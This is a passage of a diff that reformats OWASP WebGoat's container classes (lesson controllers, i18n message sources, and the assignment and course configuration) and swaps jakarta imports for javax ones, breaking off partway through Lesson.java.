-    var model = new ModelAndView();
+    /**
+     * <p>start.</p>
+     *
+     * @return a {@link ModelAndView} object.
+     */
+    @RequestMapping(path = "startlesson.mvc", method = {RequestMethod.GET, RequestMethod.POST})
+    public ModelAndView start() {
+        var model = new ModelAndView();

-    model.addObject("course", course);
-    model.addObject("lesson", ws.getCurrentLesson());
-    model.setViewName("lesson_content");
+        model.addObject("course", course);
+        model.addObject("lesson", ws.getCurrentLesson());
+        model.setViewName("lesson_content");

-    return model;
-  }
+        return model;
+    }

-  @RequestMapping(
-      value = {"*.lesson"},
-      produces = "text/html")
-  public ModelAndView lessonPage(HttpServletRequest request) {
-    var model = new ModelAndView("lesson_content");
-    var path = request.getRequestURL().toString(); // we now got /a/b/c/AccessControlMatrix.lesson
-    var lessonName = path.substring(path.lastIndexOf('/') + 1, path.indexOf(".lesson"));
+    @RequestMapping(value = {"*.lesson"}, produces = "text/html")
+    public ModelAndView lessonPage(HttpServletRequest request) {
+        var model = new ModelAndView("lesson_content");
+        var path = request.getRequestURL().toString(); // we now got /a/b/c/AccessControlMatrix.lesson
+        var lessonName = path.substring(path.lastIndexOf('/') + 1, path.indexOf(".lesson"));

-    course.getLessons().stream()
-        .filter(l -> l.getId().equals(lessonName))
-        .findFirst()
-        .ifPresent(
-            lesson -> {
-              ws.setCurrentLesson(lesson);
-              model.addObject("lesson", lesson);
-            });
+        course.getLessons()
+                .stream()
+                .filter(l -> l.getId().equals(lessonName))
+                .findFirst()
+                .ifPresent(lesson -> {
+                    ws.setCurrentLesson(lesson);
+                    model.addObject("lesson", lesson);
+                });
+
+        return model;
+    }

-    return model;
-  }
 }
--- a/src/main/java/org/owasp/webgoat/container/controller/Welcome.java
+++ b/src/main/java/org/owasp/webgoat/container/controller/Welcome.java
@ -1,42 +1,45 @@
 /**
- * ************************************************************************************************
+ *************************************************************************************************
 *
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
+ *
+ * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
 * please see http://www.owasp.org/
 *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
 *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
 * GNU General Public License as published by the Free Software Foundation; either version 2 of the
 * License, or (at your option) any later version.
 *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
 *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * You should have received a copy of the GNU General Public License along with this program; if
 * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
 * 02111-1307, USA.
 *
- * <p>Getting Source ==============
+ * Getting Source ==============
 *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
 *
 * @author WebGoat
 * @since October 28, 2003
 * @version $Id: $Id
 */
+
 package org.owasp.webgoat.container.controller;

-import jakarta.servlet.http.HttpServletRequest;
-import jakarta.servlet.http.HttpSession;
 import org.springframework.stereotype.Controller;
 import org.springframework.web.bind.annotation.GetMapping;
 import org.springframework.web.servlet.ModelAndView;

+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpSession;
+
 /**
- * Welcome class.
+ * <p>Welcome class.</p>
 *
 * @author rlawson
 * @version $Id: $Id
@ -44,28 +47,29 @@ import org.springframework.web.servlet.ModelAndView;
@Controller
 public class Welcome {

-  private static final String WELCOMED = "welcomed";
+    private static final String WELCOMED = "welcomed";
    
-  /**
-   * welcome.
-   *
-   * @param request a {@link jakarta.servlet.http.HttpServletRequest} object.
-   * @return a {@link org.springframework.web.servlet.ModelAndView} object.
-   */
-  @GetMapping(path = {"welcome.mvc"})
-  public ModelAndView welcome(HttpServletRequest request) {
+    /**
+     * <p>welcome.</p>
+     *
+     * @param request a {@link javax.servlet.http.HttpServletRequest} object.
+     * @return a {@link org.springframework.web.servlet.ModelAndView} object.
+     */
+    @GetMapping(path = {"welcome.mvc"})
+    public ModelAndView welcome(HttpServletRequest request) {

-    // set the welcome attribute
-    // this is so the attack servlet does not also
-    // send them to the welcome page
-    HttpSession session = request.getSession();
-    if (session.getAttribute(WELCOMED) == null) {
-      session.setAttribute(WELCOMED, "true");
+        // set the welcome attribute
+        // this is so the attack servlet does not also 
+        // send them to the welcome page
+        HttpSession session = request.getSession();
+        if (session.getAttribute(WELCOMED) == null) {
+            session.setAttribute(WELCOMED, "true");
+        }
+        
+        //go ahead and send them to webgoat (skip the welcome page)
+        ModelAndView model = new ModelAndView();
+        model.setViewName("forward:/attack?start=true");
+        return model;
    }
    
-    // go ahead and send them to webgoat (skip the welcome page)
-    ModelAndView model = new ModelAndView();
-    model.setViewName("forward:/attack?start=true");
-    return model;
-  }
 }
--- a/src/main/java/org/owasp/webgoat/container/i18n/Language.java
+++ b/src/main/java/org/owasp/webgoat/container/i18n/Language.java
@ -25,15 +25,16 @@

 package org.owasp.webgoat.container.i18n;

-import java.util.Locale;
 import lombok.AllArgsConstructor;
 import org.springframework.web.context.request.RequestContextHolder;
 import org.springframework.web.context.request.ServletRequestAttributes;
 import org.springframework.web.servlet.LocaleResolver;

+import java.util.Locale;
+
 /**
- * Wrapper around the LocaleResolver from Spring so we do not need to bother with passing the
- * HttpRequest object when asking for a Locale.
+ * Wrapper around the LocaleResolver from Spring so we do not need to bother with passing the HttpRequest object
+ * when asking for a Locale.
 *
 * @author nbaars
 * @date 2/7/17
@ -41,10 +42,10 @@ import org.springframework.web.servlet.LocaleResolver;
@AllArgsConstructor
 public class Language {

-  private final LocaleResolver localeResolver;
+    private final LocaleResolver localeResolver;
+
+    public Locale getLocale() {
+        return localeResolver.resolveLocale(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
+    }

-  public Locale getLocale() {
-    return localeResolver.resolveLocale(
-        ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());
-  }
 }
--- a/src/main/java/org/owasp/webgoat/container/i18n/Messages.java
+++ b/src/main/java/org/owasp/webgoat/container/i18n/Messages.java
@ -25,35 +25,36 @@

 package org.owasp.webgoat.container.i18n;

-import java.util.Properties;
 import lombok.AllArgsConstructor;
 import org.springframework.context.support.ReloadableResourceBundleMessageSource;

+import java.util.Properties;
+
 /**
- * ExposedReloadableResourceMessageBundleSource class. Extends the reloadable message source with a
- * way to get all messages
+ * <p>ExposedReloadableResourceMessageBundleSource class.</p>
+ * Extends the reloadable message source with a way to get all messages
 *
 * @author zupzup
 */
@AllArgsConstructor
 public class Messages extends ReloadableResourceBundleMessageSource {

-  private final Language language;
+    private final Language language;

-  /**
-   * Gets all messages for presented Locale.
-   *
-   * @return all messages
-   */
-  public Properties getMessages() {
-    return getMergedProperties(language.getLocale()).getProperties();
-  }
+    /**
+     * Gets all messages for presented Locale.
+     *
+     * @return all messages
+     */
+    public Properties getMessages() {
+        return getMergedProperties(language.getLocale()).getProperties();
+    }

-  public String getMessage(String code, Object... args) {
-    return getMessage(code, args, language.getLocale());
-  }
+    public String getMessage(String code, Object... args) {
+        return getMessage(code, args, language.getLocale());
+    }

-  public String getMessage(String code, String defaultValue, Object... args) {
-    return super.getMessage(code, args, defaultValue, language.getLocale());
-  }
+    public String getMessage(String code, String defaultValue, Object... args) {
+        return super.getMessage(code, args, defaultValue, language.getLocale());
+    }
 }
--- a/src/main/java/org/owasp/webgoat/container/i18n/PluginMessages.java
+++ b/src/main/java/org/owasp/webgoat/container/i18n/PluginMessages.java
@ -25,11 +25,12 @@

 package org.owasp.webgoat.container.i18n;

-import java.io.IOException;
-import java.util.Properties;
 import org.springframework.context.support.ReloadableResourceBundleMessageSource;
 import org.springframework.core.io.support.ResourcePatternResolver;

+import java.io.IOException;
+import java.util.Properties;
+
 /**
 * Message resource bundle for plugins.
 *
@ -37,49 +38,49 @@ import org.springframework.core.io.support.ResourcePatternResolver;
 * @date 2/4/17
 */
 public class PluginMessages extends ReloadableResourceBundleMessageSource {
-  private static final String PROPERTIES_SUFFIX = ".properties";
+    private static final String PROPERTIES_SUFFIX = ".properties";

-  private final Language language;
-  private final ResourcePatternResolver resourcePatternResolver;
+    private final Language language;
+    private final ResourcePatternResolver resourcePatternResolver;

-  public PluginMessages(
-      Messages messages, Language language, ResourcePatternResolver resourcePatternResolver) {
-    this.language = language;
-    this.setParentMessageSource(messages);
-    this.setBasename("WebGoatLabels");
-    this.resourcePatternResolver = resourcePatternResolver;
-  }

-  @Override
-  protected PropertiesHolder refreshProperties(String filename, PropertiesHolder propHolder) {
-    Properties properties = new Properties();
-    long lastModified = System.currentTimeMillis();
-
-    try {
-      var resources =
-          resourcePatternResolver.getResources(
-              "classpath:/lessons/**/i18n" + "/WebGoatLabels" + PROPERTIES_SUFFIX);
-      for (var resource : resources) {
-        String sourcePath = resource.getURI().toString().replace(PROPERTIES_SUFFIX, "");
-        PropertiesHolder holder = super.refreshProperties(sourcePath, propHolder);
-        properties.putAll(holder.getProperties());
-      }
-    } catch (IOException e) {
-      logger.error("Unable to read plugin message", e);
+    public PluginMessages(Messages messages, Language language, ResourcePatternResolver resourcePatternResolver) {
+        this.language = language;
+        this.setParentMessageSource(messages);
+        this.setBasename("WebGoatLabels");
+        this.resourcePatternResolver = resourcePatternResolver;
    }

-    return new PropertiesHolder(properties, lastModified);
-  }
+    @Override
+    protected PropertiesHolder refreshProperties(String filename, PropertiesHolder propHolder) {
+        Properties properties = new Properties();
+        long lastModified = System.currentTimeMillis();

-  public Properties getMessages() {
-    return getMergedProperties(language.getLocale()).getProperties();
-  }
+        try {
+            var resources = resourcePatternResolver.getResources("classpath:/lessons/**/i18n" +
+                    "/WebGoatLabels" + PROPERTIES_SUFFIX);
+            for (var resource : resources) {
+                String sourcePath = resource.getURI().toString().replace(PROPERTIES_SUFFIX, "");
+                PropertiesHolder holder = super.refreshProperties(sourcePath, propHolder);
+                properties.putAll(holder.getProperties());
+            }
+        } catch (IOException e) {
+            logger.error("Unable to read plugin message", e);
+        }

-  public String getMessage(String code, Object... args) {
-    return getMessage(code, args, language.getLocale());
-  }
+        return new PropertiesHolder(properties, lastModified);
+    }

-  public String getMessage(String code, String defaultValue, Object... args) {
-    return super.getMessage(code, args, defaultValue, language.getLocale());
-  }
+
+    public Properties getMessages() {
+        return getMergedProperties(language.getLocale()).getProperties();
+    }
+
+    public String getMessage(String code, Object... args) {
+        return getMessage(code, args, language.getLocale());
+    }
+
+    public String getMessage(String code, String defaultValue, Object... args) {
+        return super.getMessage(code, args, defaultValue, language.getLocale());
+    }
 }
--- a/src/main/java/org/owasp/webgoat/container/lessons/Assignment.java
+++ b/src/main/java/org/owasp/webgoat/container/lessons/Assignment.java
@ -1,39 +1,34 @@
 package org.owasp.webgoat.container.lessons;

-import jakarta.persistence.Entity;
-import jakarta.persistence.GeneratedValue;
-import jakarta.persistence.GenerationType;
-import jakarta.persistence.Id;
-import jakarta.persistence.Transient;
+import lombok.*;
+
+import javax.persistence.*;
 import java.util.ArrayList;
 import java.util.List;
-import lombok.EqualsAndHashCode;
-import lombok.Getter;

 /**
 * ************************************************************************************************
 * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
 * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under the terms of the
 * GNU General Public License as published by the Free Software Foundation; either version 2 of the
 * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
+ * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+ * General Public License for more details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with this program; if
 * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
 * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
- * for free software projects.
- *
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
+ * projects.
 * <p>
 *
 * @author nbaars
@ -45,33 +40,30 @@ import lombok.Getter;
@Entity
 public class Assignment {

-  @Id
-  @GeneratedValue(strategy = GenerationType.IDENTITY)
-  private Long id;
+    @Id
+    @GeneratedValue(strategy = GenerationType.AUTO)
+    private Long id;
+    private String name;
+    private String path;

-  private String name;
-  private String path;
+    @Transient
+    private List<String> hints;

-  @Transient private List<String> hints;
-
-  private Assignment() {
-    // Hibernate
-  }
-
-  public Assignment(String name) {
-    this(name, name, new ArrayList<>());
-  }
-
-  public Assignment(String name, String path, List<String> hints) {
-    if (path.equals("") || path.equals("/") || path.equals("/WebGoat/")) {
-      throw new IllegalStateException(
-          "The path of assignment '"
-              + name
-              + "' overrides WebGoat endpoints, please choose a path within the scope of the"
-              + " lesson");
+    private Assignment() {
+        //Hibernate
    }
-    this.name = name;
-    this.path = path;
-    this.hints = hints;
-  }
+
+    public Assignment(String name) {
+        this(name, name, new ArrayList<>());
+    }
+
+    public Assignment(String name, String path, List<String> hints) {
+        if (path.equals("") || path.equals("/") || path.equals("/WebGoat/")) {
+            throw new IllegalStateException("The path of assignment '" + name + "' overrides WebGoat endpoints, please choose a path within the scope of the lesson");
+        }
+        this.name = name;
+        this.path = path;
+        this.hints = hints;
+    }
+
 }
--- a/src/main/java/org/owasp/webgoat/container/lessons/Category.java
+++ b/src/main/java/org/owasp/webgoat/container/lessons/Category.java
@ -4,29 +4,30 @@ import lombok.Getter;

 /**
 * *************************************************************************************************
- *
 * <p>
- *
- * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,
- * please see http://www.owasp.org/
- *
- * <p>Copyright (c) 2002 - 2014 Bruce Mayhew
- *
- * <p>This program is free software; you can redistribute it and/or modify it under the terms of the
- * GNU General Public License as published by the Free Software Foundation; either version 2 of the
- * License, or (at your option) any later version.
- *
- * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
- * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- * GNU General Public License for more details.
- *
- * <p>You should have received a copy of the GNU General Public License along with this program; if
- * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
- * 02111-1307, USA.
- *
- * <p>Getting Source ==============
- *
- * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
+ * <p>
+ * This file is part of WebGoat, an Open Web Application Security Project
+ * utility. For details, please see http://www.owasp.org/
+ * <p>
+ * Copyright (c) 2002 - 2014 Bruce Mayhew
+ * <p>
+ * This program is free software; you can redistribute it and/or modify it under
+ * the terms of the GNU General Public License as published by the Free Software
+ * Foundation; either version 2 of the License, or (at your option) any later
+ * version.
+ * <p>
+ * This program is distributed in the hope that it will be useful, but WITHOUT
+ * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
+ * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
+ * details.
+ * <p>
+ * You should have received a copy of the GNU General Public License along with
+ * this program; if not, write to the Free Software Foundation, Inc., 59 Temple
+ * Place - Suite 330, Boston, MA 02111-1307, USA.
+ * <p>
+ * Getting Source ==============
+ * <p>
+ * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
 * for free software projects.
 *
 * @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
@ -34,34 +35,40 @@ import lombok.Getter;
 * @since October 28, 2003
 */
 public enum Category {
-  INTRODUCTION("Introduction", 5),
-  GENERAL("General", 100),

-  A1("(A1) Broken Access Control", 301),
-  A2("(A2) Cryptographic Failures", 302),
-  A3("(A3) Injection", 303),
+    INTRODUCTION("Introduction", 5),
+    GENERAL("General", 100),
    
-  A5("(A5) Security Misconfiguration", 305),
-  A6("(A6) Vuln & Outdated Components", 306),
-  A7("(A7) Identity & Auth Failure", 307),
-  A8("(A8) Software & Data Integrity", 308),
-  A9("(A9) Security Logging Failures", 309),
-  A10("(A10) Server-side Request Forgery", 310),
+    A1("(A1) Broken Access Control", 301),
+    A2("(A2) Cryptographic Failures", 302),
+    A3("(A3) Injection", 303),

-  CLIENT_SIDE("Client side", 1700),
+    A5("(A5) Security Misconfiguration", 305),
+    A6("(A6) Vuln & Outdated Components", 306),
+    A7("(A7) Identity & Auth Failure", 307),
+    A8("(A8) Software & Data Integrity", 308),
+    A9("(A9) Security Logging Failures", 309),
+    A10("(A10) Server-side Request Forgery", 310),    
    
-  CHALLENGE("Challenges", 3000);
+    CLIENT_SIDE("Client side", 1700),

-  @Getter private String name;
-  @Getter private Integer ranking;
+    CHALLENGE("Challenges", 3000);

-  Category(String name, Integer ranking) {
-    this.name = name;
-    this.ranking = ranking;
-  }
+    @Getter
+    private String name;
+    @Getter
+    private Integer ranking;

-  @Override
-  public String toString() {
-    return getName();
-  }
+    Category(String name, Integer ranking) {
+        this.name = name;
+        this.ranking = ranking;
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public String toString() {
+        return getName();
+    }
 }
--- a/src/main/java/org/owasp/webgoat/container/lessons/CourseConfiguration.java
+++ b/src/main/java/org/owasp/webgoat/container/lessons/CourseConfiguration.java
@ -22,11 +22,6 @@

 package org.owasp.webgoat.container.lessons;

-import static java.util.stream.Collectors.groupingBy;
-
-import java.lang.reflect.Method;
-import java.lang.reflect.ParameterizedType;
-import java.util.*;
 import lombok.extern.slf4j.Slf4j;
 import org.apache.commons.lang3.ArrayUtils;
 import org.owasp.webgoat.container.assignments.AssignmentEndpoint;
@ -41,103 +36,91 @@ import org.springframework.web.bind.annotation.PostMapping;
 import org.springframework.web.bind.annotation.PutMapping;
 import org.springframework.web.bind.annotation.RequestMapping;

+import java.lang.reflect.Method;
+import java.lang.reflect.ParameterizedType;
+import java.util.*;
+
+import static java.util.stream.Collectors.groupingBy;
+import static java.util.stream.Collectors.toList;
+
@Slf4j
@Configuration
 public class CourseConfiguration {

-  private final List<Lesson> lessons;
-  private final List<AssignmentEndpoint> assignments;
-  private final Map<String, List<AssignmentEndpoint>> assignmentsByPackage;
+    private final List<Lesson> lessons;
+    private final List<AssignmentEndpoint> assignments;
+    private final Map<String, List<AssignmentEndpoint>> assignmentsByPackage;

-  public CourseConfiguration(List<Lesson> lessons, List<AssignmentEndpoint> assignments) {
-    this.lessons = lessons;
-    this.assignments = assignments;
-    assignmentsByPackage =
-        this.assignments.stream().collect(groupingBy(a -> a.getClass().getPackageName()));
-  }
-
-  @Bean
-  public Course course() {
-    lessons.stream().forEach(l -> l.setAssignments(createAssignment(l)));
-    return new Course(lessons);
-  }
-
-  private List<Assignment> createAssignment(Lesson lesson) {
-    var endpoints = assignmentsByPackage.get(lesson.getClass().getPackageName());
-    if (CollectionUtils.isEmpty(endpoints)) {
-      log.warn("Lesson: {} has no endpoints, is this intentionally?", lesson.getTitle());
-      return new ArrayList<>();
+    public CourseConfiguration(List<Lesson> lessons, List<AssignmentEndpoint> assignments) {
+        this.lessons = lessons;
+        this.assignments = assignments;
+        assignmentsByPackage = this.assignments.stream().collect(groupingBy(a -> a.getClass().getPackageName()));
    }
-    return endpoints.stream()
-        .map(
-            e ->
-                new Assignment(
-                    e.getClass().getSimpleName(), getPath(e.getClass()), getHints(e.getClass())))
-        .toList();
-  }

-  private String getPath(Class<? extends AssignmentEndpoint> e) {
-    for (Method m : e.getMethods()) {
-      if (methodReturnTypeIsOfTypeAttackResult(m)) {
-        var mapping = getMapping(m);
-        if (mapping != null) {
-          return mapping;
+    @Bean
+    public Course course() {
+        lessons.stream().forEach(l -> l.setAssignments(createAssignment(l)));
+        return new Course(lessons);
+    }
+
+    private List<Assignment> createAssignment(Lesson lesson) {
+        var endpoints = assignmentsByPackage.get(lesson.getClass().getPackageName());
+        if (CollectionUtils.isEmpty(endpoints)) {
+            log.warn("Lesson: {} has no endpoints, is this intentionally?", lesson.getTitle());
+            return new ArrayList<>();
        }
-      }
+        return endpoints.stream()
+                .map(e -> new Assignment(e.getClass().getSimpleName(), getPath(e.getClass()), getHints(e.getClass())))
+                .toList();
    }
-    throw new IllegalStateException(
-        "Assignment endpoint: "
-            + e
-            + " has no mapping like @GetMapping/@PostMapping etc,with return type 'AttackResult' or"
-            + " 'ResponseEntity<AttackResult>' please consider adding one");
-  }

-  private boolean methodReturnTypeIsOfTypeAttackResult(Method m) {
-    if (m.getReturnType() == AttackResult.class) {
-      return true;
+    private String getPath(Class<? extends AssignmentEndpoint> e) {
+        for (Method m : e.getMethods()) {
+            if (methodReturnTypeIsOfTypeAttackResult(m)) {
+                var mapping = getMapping(m);
+                if (mapping != null) {
+                    return mapping;
+                }
+            }
+        }
+        throw new IllegalStateException("Assignment endpoint: " + e + " has no mapping like @GetMapping/@PostMapping etc," +
+                "with return type 'AttackResult' or 'ResponseEntity<AttackResult>' please consider adding one");
    }
-    var genericType = m.getGenericReturnType();
-    if (genericType instanceof ParameterizedType) {
-      return ((ParameterizedType) m.getGenericReturnType()).getActualTypeArguments()[0]
-          == AttackResult.class;
-    }
-    return false;
-  }

-  private String getMapping(Method m) {
-    String[] paths = null;
-    // Find the path, either it is @GetMapping("/attack") of GetMapping(path = "/attack") both are
-    // valid, we need to consider both
-    if (m.getAnnotation(RequestMapping.class) != null) {
-      paths =
-          ArrayUtils.addAll(
-              m.getAnnotation(RequestMapping.class).value(),
-              m.getAnnotation(RequestMapping.class).path());
-    } else if (m.getAnnotation(PostMapping.class) != null) {
-      paths =
-          ArrayUtils.addAll(
-              m.getAnnotation(PostMapping.class).value(),
-              m.getAnnotation(PostMapping.class).path());
-    } else if (m.getAnnotation(GetMapping.class) != null) {
-      paths =
-          ArrayUtils.addAll(
-              m.getAnnotation(GetMapping.class).value(), m.getAnnotation(GetMapping.class).path());
-    } else if (m.getAnnotation(PutMapping.class) != null) {
-      paths =
-          ArrayUtils.addAll(
-              m.getAnnotation(PutMapping.class).value(), m.getAnnotation(PutMapping.class).path());
+    private boolean methodReturnTypeIsOfTypeAttackResult(Method m) {
+        if (m.getReturnType() == AttackResult.class) {
+            return true;
+        }
+        var genericType = m.getGenericReturnType();
+        if (genericType instanceof ParameterizedType) {
+            return ((ParameterizedType) m.getGenericReturnType()).getActualTypeArguments()[0] == AttackResult.class;
+        }
+        return false;
    }
-    if (paths == null) {
-      return null;
-    } else {
-      return Arrays.stream(paths).filter(path -> !"".equals(path)).findFirst().orElse("");
-    }
-  }

-  private List<String> getHints(Class<? extends AssignmentEndpoint> e) {
-    if (e.isAnnotationPresent(AssignmentHints.class)) {
-      return List.of(e.getAnnotationsByType(AssignmentHints.class)[0].value());
+    private String getMapping(Method m) {
+        String[] paths = null;
+        //Find the path, either it is @GetMapping("/attack") of GetMapping(path = "/attack") both are valid, we need to consider both
+        if (m.getAnnotation(RequestMapping.class) != null) {
+            paths = ArrayUtils.addAll(m.getAnnotation(RequestMapping.class).value(), m.getAnnotation(RequestMapping.class).path());
+        } else if (m.getAnnotation(PostMapping.class) != null) {
+            paths = ArrayUtils.addAll(m.getAnnotation(PostMapping.class).value(), m.getAnnotation(PostMapping.class).path());
+        } else if (m.getAnnotation(GetMapping.class) != null) {
+            paths = ArrayUtils.addAll(m.getAnnotation(GetMapping.class).value(), m.getAnnotation(GetMapping.class).path());
+        } else if (m.getAnnotation(PutMapping.class) != null) {
+            paths = ArrayUtils.addAll(m.getAnnotation(PutMapping.class).value(), m.getAnnotation(PutMapping.class).path());
+        }
+        if (paths == null) {
+            return null;
+        } else {
+            return Arrays.stream(paths).filter(path -> !"".equals(path)).findFirst().orElse("");
+        }
+    }
+
+    private List<String> getHints(Class<? extends AssignmentEndpoint> e) {
+        if (e.isAnnotationPresent(AssignmentHints.class)) {
+            return List.of(e.getAnnotationsByType(AssignmentHints.class)[0].value());
+        }
+        return Collections.emptyList();
    }
-    return Collections.emptyList();
-  }
 }
--- a/src/main/java/org/owasp/webgoat/container/lessons/Hint.java
+++ b/src/main/java/org/owasp/webgoat/container/lessons/Hint.java
@ -30,7 +30,7 @@ package org.owasp.webgoat.container.lessons;
 import lombok.Value;

 /**
- * Hint class.
+ * <p>Hint class.</p>
 *
 * @author rlawson
 * @version $Id: $Id
@ -38,6 +38,6 @@ import lombok.Value;
@Value
 public class Hint {

-  private String hint;
-  private String assignmentPath;
+    private String hint;
+    private String assignmentPath;
 }
--- a/src/main/java/org/owasp/webgoat/container/lessons/Initializeable.java
+++ b/src/main/java/org/owasp/webgoat/container/lessons/Initializeable.java
@ -3,10 +3,10 @@ package org.owasp.webgoat.container.lessons;
 import org.owasp.webgoat.container.users.WebGoatUser;

 /**
- * Interface for initialization of a lesson. It is called when a new user is added to WebGoat and
- * when a users reset a lesson. Make sure to clean beforehand and then re-initialize the lesson.
+ * Interface for initialization of a lesson. It is called when a new user is added to WebGoat and when a users
+ * reset a lesson. Make sure to clean beforehand and then re-initialize the lesson.
 */
 public interface Initializeable {

-  void initialize(WebGoatUser webGoatUser);
+    void initialize(WebGoatUser webGoatUser);
 }
--- a/src/main/java/org/owasp/webgoat/container/lessons/Lesson.java
+++ b/src/main/java/org/owasp/webgoat/container/lessons/Lesson.java
@ -22,103 +22,115 @@

 package org.owasp.webgoat.container.lessons;

-import java.util.List;
 import lombok.Getter;
 import lombok.Setter;

+import java.util.List;
+
@Getter
@Setter
 public abstract class Lesson {

-  private static int count = 1;
-  private Integer id = null;
-  private List<Assignment> assignments;
+    private static int count = 1;
+    private Integer id = null;
+    private List<Assignment> assignments;

-  /** Constructor for the Lesson object */
-  protected Lesson() {
-    id = ++count;
-  }
+    /**
+     * Constructor for the Lesson object
+     */
+    protected Lesson() {
+        id = ++count;
+    }

-  /**
-   * getName.
-   *
-   * @return a {@link java.lang.String} object.
-   */
-  public String getName() {
-    String className = getClass().getName();
-    return className.substring(className.lastIndexOf('.') + 1);
-  }

-  /**
-   * Gets the category attribute of the Lesson object
-   *
-   * @return The category value
-   */
-  public Category getCategory() {
-    return getDefaultCategory();
-  }
+    /**
+     * <p>getName.</p>
+     *
+     * @return a {@link java.lang.String} object.
+     */
+    public String getName() {
+        String className = getClass().getName();
+        return className.substring(className.lastIndexOf('.') + 1);
+    }

-  /**
-   * getDefaultCategory.
-   *
-   * @return a {@link org.owasp.webgoat.container.lessons.Category} object.
-   */
-  protected abstract Category getDefaultCategory();
+    /**
+     * Gets the category attribute of the Lesson object
+     *
+     * @return The category value
+     */
+    public Category getCategory() {
+        return getDefaultCategory();
+    }

-  /**
-   * Gets the title attribute of the HelloScreen object
-   *
-   * @return The title value
-   */
-  public abstract String getTitle();
+    /**
+     * <p>getDefaultCategory.</p>
+     *
+     * @return a {@link org.owasp.webgoat.container.lessons.Category} object.
+     */
+    protected abstract Category getDefaultCategory();

-  /**
-   * Returns the default "path" portion of a lesson's URL.
-   *
-   * <p>
-   *
-   * <p>Legacy webgoat lesson links are of the form "attack?Screen=Xmenu=Ystage=Z". This method
-   * returns the path portion of the url, i.e., "attack" in the string above.
-   *
-   * <p>Newer, Spring-Controller-based classes will override this method to return "*.do"-styled
-   * paths.
-   *
-   * @return a {@link java.lang.String} object.
-   */
-  protected String getPath() {
-    return "#lesson/";
-  }
+    /**
+     * Gets the title attribute of the HelloScreen object
+     *
+     * @return The title value
+     */
+    public abstract String getTitle();

-  /**
-   * Get the link that can be used to request this screen.
-   *
-   * <p>Rendering the link in the browser may result in Javascript sending additional requests to
-   * perform necessary actions or to obtain data relevant to the lesson or the element of the lesson
-   * selected by the user. Thanks to using the hash mark "#" and Javascript handling the clicks, the
-   * user will experience less waiting as the pages do not have to reload entirely.
-   *
-   * @return a {@link java.lang.String} object.
-   */
-  public String getLink() {
-    return String.format("%s%s.lesson", getPath(), getId());
-  }
+    /**
+     * <p>Returns the default "path" portion of a lesson's URL.</p>
+     * <p>
+     * <p>
+     * Legacy webgoat lesson links are of the form
+     * "attack?Screen=Xmenu=Ystage=Z". This method returns the path portion of
+     * the url, i.e., "attack" in the string above.
+     * <p>
+     * Newer, Spring-Controller-based classes will override this method to
+     * return "*.do"-styled paths.
+     *
+     * @return a {@link java.lang.String} object.
+     */
+    protected String getPath() {
+        return "#lesson/";
+    }
+
+    /**
+     * Get the link that can be used to request this screen.
+     * <p>
+     * Rendering the link in the browser may result in Javascript sending
+     * additional requests to perform necessary actions or to obtain data
+     * relevant to the lesson or the element of the lesson selected by the
+     * user.  Thanks to using the hash mark "#" and Javascript handling the
+     * clicks, the user will experience less waiting as the pages do not have
+     * to reload entirely.
+     *
+     * @return a {@link java.lang.String} object.
+     */
+    public String getLink() {
+        return String.format("%s%s.lesson", getPath(), getId());
+    }
+
+    /**
+     * Description of the Method
+     *
+     * @return Description of the Return Value
+     */
+    public String toString() {
+        return getTitle();
+    }
+
+    public final String getId() {
+        return this.getClass().getSimpleName();
+    }
+
+    public final String getPackage() {
+        var packageName = this.getClass().getPackageName();
